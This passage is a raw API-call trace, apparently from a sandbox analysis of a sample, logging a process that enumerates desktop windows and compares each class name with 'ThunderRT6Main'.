[0111.566] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0111.566] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0111.566] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.566] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.566] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0111.566] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0111.566] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.566] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.566] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0111.566] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0111.566] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0111.566] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0111.566] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0111.566] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.566] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0111.566] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0111.566] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0111.566] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0111.566] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0111.566] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.566] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0111.567] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0111.567] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Household") returned 9 [0111.567] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0111.567] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0111.567] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0111.567] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0111.567] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0111.567] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0111.567] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0111.567] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0111.567] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0111.567] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0111.567] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0111.567] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0111.567] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0111.567] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0111.567] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0111.567] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0111.567] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0111.568] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0111.568] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0111.568] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0111.568] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0111.568] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0111.568] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0111.568] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0111.568] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0111.568] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0111.568] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0111.568] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0111.568] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0111.568] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0111.568] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0111.568] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0111.568] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0111.568] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.568] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0111.569] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0111.569] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0111.569] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0111.569] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0111.569] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0111.569] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0111.569] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0111.569] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0111.569] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0111.569] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0111.569] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0111.569] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0111.569] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0111.569] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0111.569] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.569] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0111.569] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0111.569] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0111.569] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0111.570] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0111.570] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.570] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0111.570] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0111.570] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0111.570] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0111.570] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0111.570] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.570] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0111.570] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0111.570] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0111.570] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0111.570] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0111.570] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.570] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0111.570] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0111.570] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0111.570] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0111.570] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.570] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0111.570] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0111.571] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0111.571] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.571] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0111.571] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0111.571] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0111.571] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.571] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0111.571] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0111.571] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0111.571] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.571] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0111.571] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0111.571] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.572] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0111.572] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.572] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0111.572] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0111.572] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.572] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0111.572] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.572] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0111.572] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0111.572] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.572] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0111.572] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.572] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0111.572] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.572] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.572] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.572] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0111.572] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.573] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.573] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.573] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0111.573] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0111.573] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0111.573] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.573] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0111.573] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0111.573] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0111.573] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.573] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0111.573] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.573] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.573] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.573] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0111.573] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.573] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.573] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.573] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0111.573] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.574] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.574] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0111.574] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0111.574] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.574] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0111.574] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0111.574] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0111.574] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0111.574] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.574] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0111.574] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0111.574] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0111.574] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0111.574] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0111.574] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.574] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0111.574] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0111.574] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0111.574] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0111.574] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0111.574] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0111.575] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.575] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.575] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0111.575] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0111.575] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.575] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.575] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0111.575] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0111.575] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.575] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.575] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.575] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0111.575] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.575] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.575] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0111.575] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0111.575] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0111.575] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0111.575] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.575] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0111.575] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.576] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0111.576] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0111.576] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.576] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.576] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0111.576] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0111.576] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0111.576] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0111.576] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.576] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0111.576] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0111.576] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.576] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.576] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0111.576] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.576] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.576] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0111.576] GetClassNameA (in: hWnd=0x10110, 